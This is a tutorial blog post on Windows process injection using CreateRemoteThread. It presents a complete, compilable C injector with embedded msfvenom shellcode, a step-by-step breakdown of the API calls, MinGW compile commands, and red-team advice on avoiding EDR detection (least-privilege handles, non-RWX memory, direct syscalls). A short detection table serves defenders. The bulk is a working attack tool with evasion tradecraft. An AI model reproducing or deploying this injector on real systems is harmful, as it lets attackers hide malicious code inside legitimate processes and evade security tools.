What Is Process Injection?
Process injection is a technique where an attacker writes and executes code inside the memory space of another running process. Instead of starting a new malicious process — which is noisy and easily detected — the shellcode lives inside a legitimate one. To a process list, to an AV scanner, to a casual analyst, it looks like notepad.exe is just running. Nothing suspicious.
The technique covered here is the most foundational form: CreateRemoteThread injection. It uses four Win32 API calls in sequence to accomplish the entire attack. Understand this one deeply and every more advanced injection variant (APC injection, early bird, thread hijacking, process hollowing) will make immediate sense — they're all solving the same problem with different levels of stealth.
Full Source Code
Before breaking it down piece by piece, here is the complete program. Read through it once, then follow the step-by-step breakdown below.
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <tlhelp32.h>
int main(){
const char* TargetProcess = "notepad.exe";
DWORD dwPID = 0;
HANDLE hProcess = NULL;
/* ── STEP 1: Process enumeration ── */
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hSnap, &pe32)) {
do {
if(_stricmp(pe32.szExeFile, TargetProcess) == 0) {
dwPID = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
if(dwPID == 0) { printf("No process found!\n"); return 1; }
/* ── STEP 2: Open the target process ── */
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if(hProcess == NULL) {
printf("Error opening process: %lu\n", GetLastError());
return 1;
}
printf("[+] PID found: %lu | Handle: %p\n", dwPID, hProcess);
/* ── STEP 3: Allocate RWX memory in the target ── */
SIZE_T PayloadSize = 1024;
LPVOID RemoteBuffer = VirtualAllocEx(
hProcess, NULL, PayloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(RemoteBuffer == NULL) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProcess); return 1;
}
printf("[+] Allocated remote buffer at: %p\n", RemoteBuffer);
/* ── STEP 4: Shellcode ──
Generated with:
msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f c
Replace this payload with your own generated shellcode. */
const char* MyPayload =
"\xdb\xcb\xbd\xed\xb4\x88\xce\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x31\x31\x6a\x18\x03\x6a\x18\x83\xc2\xe9\x56\x7d\x32"
"\x19\x14\x7e\xcb\xd9\x79\xf6\x2e\xe8\xb9\x6c\x3a\x5a\x0a"
"\xe6\x6e\x56\xe1\xaa\x9a\xed\x87\x62\xac\x46\x2d\x55\x83"
"\x57\x1e\xa5\x82\xdb\x5d\xfa\x64\xe2\xad\x0f\x64\x23\xd3"
"\xe2\x34\xfc\x9f\x51\xa9\x89\xea\x69\x42\xc1\xfb\xe9\xb7"
"\x91\xfa\xd8\x69\xaa\xa4\xfa\x88\x7f\xdd\xb2\x92\x9c\xd8"
"\x0d\x28\x56\x96\x8f\xf8\xa7\x57\x23\xc5\x08\xaa\x3d\x01"
"\xae\x55\x48\x7b\xcd\xe8\x4b\xb8\xac\x36\xd9\x5b\x16\xbc"
"\x79\x80\xa7\x11\x1f\x43\xab\xde\x6b\x0b\xaf\xe1\xb8\x27"
"\xcb\x6a\x3f\xe8\x5a\x28\x64\x2c\x07\xea\x05\x75\xed\x5d"
"\x39\x65\x4e\x01\x9f\xed\x62\x56\x92\xaf\xe8\xa9\x20\xca"
"\x5e\xa9\x3a\xd5\xce\xc2\x0b\x5e\x81\x95\x93\xb5\xe6\x6a"
"\xde\x94\x4e\xe3\x87\x4c\xd3\x6e\x38\xbb\x17\x97\xbb\x4e"
"\xe7\x6c\xa3\x3a\xe2\x29\x63\xd6\x9e\x22\x06\xd8\x0d\x42"
"\x03\xbb\xd0\xd0\xcf\x12\x77\x51\x75\x6b";
SIZE_T SizeofShellcode = strlen(MyPayload) + 1;
/* ── STEP 5: Write shellcode into remote memory ── */
BOOL isWritten = WriteProcessMemory(
hProcess, RemoteBuffer, MyPayload, SizeofShellcode, NULL);
if(!isWritten) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
CloseHandle(hProcess); return 1;
}
printf("[+] Shellcode written successfully!\n");
/* ── STEP 6: Create remote thread to execute shellcode ── */
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)RemoteBuffer,
NULL, 0, NULL);
if(hThread == NULL) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
} else {
printf("[+] Remote thread executing shellcode...\n");
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
CloseHandle(hProcess);
return 0;
}
Headers & Includes
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <tlhelp32.h>
Every Win32 API used in this program flows through these four headers. Understanding what each one provides saves you from link errors and confusing compiler warnings.
| Header | Provides |
|---|---|
windows.h | The master Win32 header. Pulls in OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, all type definitions (HANDLE, DWORD, LPVOID, etc.) and constants (PROCESS_ALL_ACCESS, PAGE_EXECUTE_READWRITE, MEM_COMMIT). |
string.h | Provides strlen() — used to measure shellcode length — and _stricmp() for case-insensitive process name comparison. |
stdio.h | Standard I/O for printf() debug output. |
tlhelp32.h | The Tool Help Library. Defines CreateToolhelp32Snapshot, Process32First, Process32Next, and the PROCESSENTRY32 structure. Without this header, process enumeration is unavailable. |
Step 1 — Process Enumeration with Toolhelp32
Before you can inject into a process you need its Process ID (PID) — the numeric identifier the kernel uses to track it. Windows doesn't give you a direct "find process by name" API, so the standard approach is to take a snapshot of the entire process list and walk through it.
const char* TargetProcess = "notepad.exe";
DWORD dwPID = 0;
// Take a snapshot of all running processes at this moment in time
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// PROCESSENTRY32 holds info for one process: PID, parent PID, exe name, etc.
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32); // MUST be set before calling Process32First
if(Process32First(hSnap, &pe32)) {
do {
// Case-insensitive compare: "notepad.exe" == "Notepad.EXE" → true
if(_stricmp(pe32.szExeFile, TargetProcess) == 0) {
dwPID = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap); // Always close the snapshot handle
What is a snapshot?
CreateToolhelp32Snapshot asks the kernel for a frozen copy of process/thread/module state at that exact moment. Think of it as a photograph of the process list. The flag TH32CS_SNAPPROCESS tells it we only want the process table — there are equivalent flags for threads (TH32CS_SNAPTHREAD) and loaded modules (TH32CS_SNAPMODULE).
The PROCESSENTRY32 structure is critical — and the dwSize field must be initialized to sizeof(PROCESSENTRY32) before calling Process32First. This is a common Win32 pattern where the API uses the size field to version-check the structure. Forgetting it causes an immediate ERROR_INSUFFICIENT_BUFFER failure.
DWORD dwFlags,
DWORD th32ProcessID
);
| Parameter | Type | Description |
|---|---|---|
| dwFlags | DWORD | TH32CS_SNAPPROCESS — include all processes. Other flags: TH32CS_SNAPTHREAD, TH32CS_SNAPMODULE. |
| th32ProcessID | DWORD | Pass 0 to snapshot all processes system-wide. |
| Returns | HANDLE | Valid handle on success. INVALID_HANDLE_VALUE on failure. Must be closed with CloseHandle. |
BOOL Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
Process32First retrieves the first entry from the snapshot and fills lppe. Process32Next advances to the next. Returns FALSE when the list is exhausted — that's the loop termination condition. The szExeFile field of PROCESSENTRY32 holds the executable name (e.g. "notepad.exe").
Red team note: CallingCreateToolhelp32Snapshotgenerates a kernel event that EDRs monitor. More advanced tradecraft usesNtQuerySystemInformationwithSystemProcessInformationvia direct syscall to enumerate processes without touching the Toolhelp API at all.
Step 2 — Opening the Target Process
With the PID in hand, the next step is acquiring a handle to that process — a kernel-managed reference object that lets us interact with it. The critical choice here is which access rights to request.
// PROCESS_ALL_ACCESS grants every permission: read, write, execute, terminate, etc.
// For a stealth injector you would request only:
// PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if(hProcess == NULL) {
printf("Error opening process: %lu\n", GetLastError());
return 1;
}
PROCESS_ALL_ACCESS is the "give me everything" flag. It works well in a lab but it's also maximally detectable — any EDR monitoring process handle grants will immediately flag this. In a real engagement, you request the minimum rights needed:
| Access Right | Required For |
|---|---|
PROCESS_VM_OPERATION | VirtualAllocEx — allocating memory in the target |
PROCESS_VM_WRITE | WriteProcessMemory — writing shellcode bytes |
PROCESS_CREATE_THREAD | CreateRemoteThread — spawning the execution thread |
PROCESS_VM_READ | Optional — reading back memory to verify the write |
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
| Parameter | Type | Description |
|---|---|---|
| dwDesiredAccess | DWORD | Access rights bitmask. PROCESS_ALL_ACCESS or a combination of specific rights. The kernel will deny if your token doesn't have SeDebugPrivilege for protected processes. |
| bInheritHandle | BOOL | FALSE — the handle is not inherited by child processes. Usually false for injection. |
| dwProcessId | DWORD | The PID of the target process obtained from enumeration. |
| Returns | HANDLE | Non-null handle on success. NULL on failure — call GetLastError() for the reason (often 5 = ACCESS_DENIED). |
Step 3 — Allocating Remote Memory
Now we have a handle. The shellcode needs somewhere to live inside the target process's virtual address space. VirtualAllocEx is the remote version of VirtualAlloc — it performs the allocation in another process rather than the calling one.
SIZE_T PayloadSize = 1024; // Allocate 1KB — enough for small shellcode payloads
LPVOID RemoteBuffer = VirtualAllocEx(
hProcess, // handle to target process
NULL, // let the OS choose the address (no preferred location)
PayloadSize, // size in bytes to allocate
MEM_COMMIT | MEM_RESERVE, // reserve VA range AND commit physical backing
PAGE_EXECUTE_READWRITE // RWX: readable, writable, AND executable
);
if(RemoteBuffer == NULL) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Allocated remote buffer at: %p\n", RemoteBuffer);
MEM_COMMIT | MEM_RESERVE — what's the difference?
MEM_RESERVE stakes out a range in virtual address space — it claims the addresses, but no physical memory or pagefile space is committed yet. MEM_COMMIT backs the reserved range with actual memory pages. You need both together for a usable allocation. Using only MEM_RESERVE would give you addresses that fault immediately on access.
PAGE_EXECUTE_READWRITE — the loud flag
PAGE_EXECUTE_READWRITE (RWX) means the region can be read, written, and executed. For a lab this is fine. In a real engagement this is a screaming detection signal — allocating RWX memory in a remote process is one of the highest-confidence indicators of code injection monitored by every EDR on the market.
The stealthy approach is to use a two-step model: allocate as PAGE_READWRITE, write the shellcode, then change protection to PAGE_EXECUTE_READ using VirtualProtectEx. This is harder to detect because no page is ever simultaneously writable and executable.
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
| Parameter | Type | Description |
|---|---|---|
| hProcess | HANDLE | Handle to the target process with PROCESS_VM_OPERATION access. |
| lpAddress | LPVOID | Desired base address hint. Pass NULL to let the OS choose. |
| dwSize | SIZE_T | Number of bytes to allocate. Will be rounded up to the system page boundary (usually 4096 bytes). |
| flAllocationType | DWORD | MEM_COMMIT | MEM_RESERVE for a standard allocation. |
| flProtect | DWORD | Page protection. PAGE_EXECUTE_READWRITE for lab use. Use PAGE_READWRITE + VirtualProtectEx for stealth. |
| Returns | LPVOID | Base address of allocated region on success. NULL on failure. |
Step 4 — Generating Shellcode with msfvenom
Shellcode is raw machine code — bytes that the CPU executes directly, with no loader, no imports, no file headers. It has to be position-independent: it can't rely on being at any specific address because we're placing it in whatever address VirtualAllocEx returned.
msfvenom is the payload generator from the Metasploit Framework. It handles all the complexity of building position-independent shellcode, applying encoders to remove bad characters, and outputting in the format you need.
// Basic syntax: msfvenom -p <payload> [options] -b <bad_chars> -f <format>
# The command used to generate the shellcode in this post:
# Payload: windows/exec — executes a command on the target
# CMD: the command to run (calc.exe, notepad.exe, cmd.exe, etc.)
# -b '\x00' — remove null bytes (bad chars that break strlen-based size calculation)
# -f c — output as a C-style char array (matches our const char* variable)
msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f c
# Other useful payload examples:
msfvenom -p windows/exec CMD=notepad.exe -b '\x00' -f c
msfvenom -p windows/exec CMD=cmd.exe -b '\x00' -f c
# For a 64-bit target process, use the x64 payload variant:
msfvenom -p windows/x64/exec CMD=calc.exe -b '\x00' -f c
| Flag | What It Does | Example Values |
|---|---|---|
| -p | Payload selection — the type of shellcode to generate | windows/exec, windows/x64/exec, windows/meterpreter/reverse_tcp |
| CMD= | The command to execute (specific to windows/exec payload) | calc.exe, notepad.exe, cmd.exe /k whoami |
| -b | Bad characters to exclude from the shellcode. The encoder rewrites bytes to avoid these. | '\x00' (null), '\x0a\x0d' (newline+CR), '\x00\xff' |
| -f | Output format — how the shellcode bytes are formatted in the output file | c (C array), python, raw, hex, exe |
Why remove null bytes with -b '\x00'?
The code uses strlen(MyPayload) + 1 to calculate shellcode size. strlen counts until it hits a \x00 (null terminator). If the shellcode contains a null byte anywhere in the middle, strlen stops early and WriteProcessMemory copies an incomplete payload — resulting in a crash or silent failure. The -b '\x00' flag tells msfvenom's encoder to rewrite the shellcode so no null bytes appear in the final output.
strlen — which is fragile and only works on null-terminated shellcode — use a fixed-size byte array: unsigned char MyPayload[] = { ... }; and pass sizeof(MyPayload) to WriteProcessMemory. This works correctly regardless of embedded null bytes.
Step 5 — Writing Shellcode with WriteProcessMemory
The memory is allocated. The shellcode is ready. Now we copy the bytes across process boundaries into the remote buffer using WriteProcessMemory.
SIZE_T SizeofShellcode = strlen(MyPayload) + 1;
BOOL isWritten = WriteProcessMemory(
hProcess, // target process handle
RemoteBuffer, // destination address INSIDE the target process
MyPayload, // source buffer — shellcode bytes in OUR process
SizeofShellcode, // number of bytes to copy
NULL // optional: pointer to receive actual bytes written
);
if(!isWritten) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
printf("[+] Shellcode written successfully!\n");
What's happening under the hood: WriteProcessMemory is a kernel operation that temporarily suspends page protection on the target region, performs the cross-process memory copy, then restores the protection. It's essentially the same mechanism used by debuggers to set software breakpoints. The kernel validates both addresses — source must be readable in our process, destination must be writable in the target.
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
| Parameter | Type | Description |
|---|---|---|
| hProcess | HANDLE | Target process handle. Must have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access. |
| lpBaseAddress | LPVOID | Destination address in the target process's VA space — the value returned by VirtualAllocEx. |
| lpBuffer | LPCVOID | Source buffer in the calling process containing the data to write (our shellcode). |
| nSize | SIZE_T | Number of bytes to write. |
| lpNumberOfBytesWritten | SIZE_T* | Optionally receives how many bytes were actually written. Pass NULL to ignore. |
| Returns | BOOL | TRUE on success. FALSE on failure — check GetLastError(). |
Step 6 — Executing via CreateRemoteThread
The shellcode is sitting in the target process's memory, waiting. CreateRemoteThread is the final step — it asks the OS to create a new execution thread inside the target process, starting at the address of our shellcode. From that point the payload is running as part of notepad.exe.
HANDLE hThread = CreateRemoteThread(
hProcess, // target process
NULL, // default security descriptor for the thread
0, // default stack size
(LPTHREAD_START_ROUTINE)RemoteBuffer, // start address = shellcode location
NULL, // no parameter passed to thread function
0, // thread runs immediately (not suspended)
NULL // we don't need the thread ID
);
if(hThread == NULL) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
} else {
printf("[+] Remote thread executing shellcode...\n");
// Block until the thread finishes (calc.exe opens and closes)
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
CloseHandle(hProcess);
The cast (LPTHREAD_START_ROUTINE)RemoteBuffer deserves attention. LPTHREAD_START_ROUTINE is the function pointer type for thread start routines — DWORD WINAPI ThreadProc(LPVOID lpParameter). Our shellcode obviously doesn't have that signature, but the cast tells the compiler to treat the address as if it does. The CPU doesn't know or care — it will jump to that address and start executing whatever bytes are there.
WaitForSingleObject(hThread, INFINITE) blocks our injector process until the remote thread finishes. For a calc.exe payload that means waiting until the calculator closes. In real tooling you wouldn't wait — you'd fire and forget, immediately closing all handles to reduce your footprint.
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
| Parameter | Type | Description |
|---|---|---|
| hProcess | HANDLE | Target process. Must have PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, and PROCESS_VM_WRITE access. |
| lpThreadAttributes | LPSECURITY_ATTRIBUTES | Security descriptor for the new thread. NULL = default. |
| dwStackSize | SIZE_T | Initial stack size. 0 = use the target's default stack size. |
| lpStartAddress | LPTHREAD_START_ROUTINE | The address the thread starts executing. We pass the address of our shellcode in the remote process. |
| lpParameter | LPVOID | Single argument passed to the thread function. NULL for shellcode (it doesn't use parameters). |
| dwCreationFlags | DWORD | 0 = start immediately. CREATE_SUSPENDED = create suspended, then resume with ResumeThread. |
| lpThreadId | LPDWORD | Receives the new thread ID. Pass NULL to ignore. |
| Returns | HANDLE | Handle to the new thread, or NULL on failure. |
Compiling with GCC / MinGW
This code targets the Windows API so it must be compiled with a Windows-compatible compiler. MinGW-w64 (Minimalist GNU for Windows) provides GCC with the full Win32 SDK headers and libraries. You can compile natively on Windows or cross-compile from Linux.
On Windows (MinGW-w64 installed)
# 32-bit target (x86) — matches windows/exec payload (no /x64)
gcc basic-process-injector.c -o injector32.exe -m32
# 64-bit target (x86_64) — matches windows/x64/exec payload
gcc basic-process-injector.c -o injector64.exe -m64
# If compilation gives linker errors for Win32 APIs, add the library flags explicitly:
gcc basic-process-injector.c -o injector.exe -m64 -lkernel32 -luser32
# Optional: strip debug symbols to reduce binary size
gcc basic-process-injector.c -o injector.exe -m64 -s
Cross-compiling from Linux (Kali / Parrot)
# Install MinGW cross-compiler on Debian/Kali/Ubuntu:
sudo apt install mingw-w64 -y
# Cross-compile for 64-bit Windows from Linux:
x86_64-w64-mingw32-gcc basic-process-injector.c -o injector64.exe
# Cross-compile for 32-bit Windows from Linux:
i686-w64-mingw32-gcc basic-process-injector.c -o injector32.exe
# With explicit library linkage if needed:
x86_64-w64-mingw32-gcc basic-process-injector.c -o injector64.exe \
-lkernel32 -luser32 -static-libgcc
windows/exec) injected into a 64-bit process (notepad.exe on a 64-bit Windows) will crash immediately. Use windows/x64/exec for 64-bit targets and compile with -m64. To check: notepad.exe on 64-bit Windows is a 64-bit process. notepad.exe in C:\Windows\SysWOW64\ is the 32-bit version.
Verify compilation succeeded
# Check the output binary architecture:
file injector64.exe
# Expected: PE32+ executable (console) x86-64
file injector32.exe
# Expected: PE32 executable (console) Intel 80386
Detection & Blue Team Notes
Every step of CreateRemoteThread injection leaves artifacts. Understanding what they are is essential for building detection and for evolving the technique toward better evasion.
| Action | Detection Artifact | Monitoring Method |
|---|---|---|
CreateToolhelp32Snapshot | Process opens a handle to the system process list | ETW — Microsoft-Windows-Kernel-Process provider |
OpenProcess(PROCESS_ALL_ACCESS) | Excessive access rights on handle creation | Event ID 4656 (Object Access) · EDR handle telemetry |
VirtualAllocEx(PAGE_EXECUTE_READWRITE) | RWX allocation in a foreign process | EDR memory allocation callbacks · NtAllocateVirtualMemory hooks |
WriteProcessMemory | Cross-process memory write | EDR VM write callbacks · NtWriteVirtualMemory hooks |
CreateRemoteThread | Thread start address is not inside any loaded module | Event ID 8 (Sysmon) · EDR thread creation callbacks |
| Shellcode execution | Shellcode bytes in memory scan, anomalous RWX region | Sysmon Event ID 17/18 · memory scanner signatures |
What Comes Next
CreateRemoteThread injection is the foundation. Every technique that comes after it is an answer to the question: "how do we do the same thing with fewer detection signals?"
- APC Injection — Instead of creating a new thread, queue an Asynchronous Procedure Call to an existing thread in the target. Less noisy than spawning a new thread. Uses
QueueUserAPC+ alertable thread states. - Early Bird APC — Create the target process in a suspended state, inject shellcode before any of its code runs, then resume. The shellcode executes before any security products have had a chance to initialize in that process.
- Thread Hijacking — Suspend an existing thread with
SuspendThread, modify its instruction pointer viaSetThreadContextto point at shellcode, then resume. No new threads created at all. - Process Hollowing — Create a legitimate process suspended, unmap its image from memory, replace it with a malicious PE, fix up the entry point, and resume. The process list shows the legitimate name with malicious code.
- Direct Syscalls — Replace the Win32 API calls (
NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx) with direct syscall invocations, bypassing user-land EDR hooks entirely.
Key insight: The detection problem for defenders is that the underlying kernel operations for all these techniques are identical — allocate memory, write bytes, redirect execution. What changes is which Win32 APIs are called, and therefore which hooks and callbacks fire. The most advanced techniques avoid user-land APIs entirely.
// All code written and tested in isolated VM environments. For educational and defensive security research only. Never use against systems you do not own.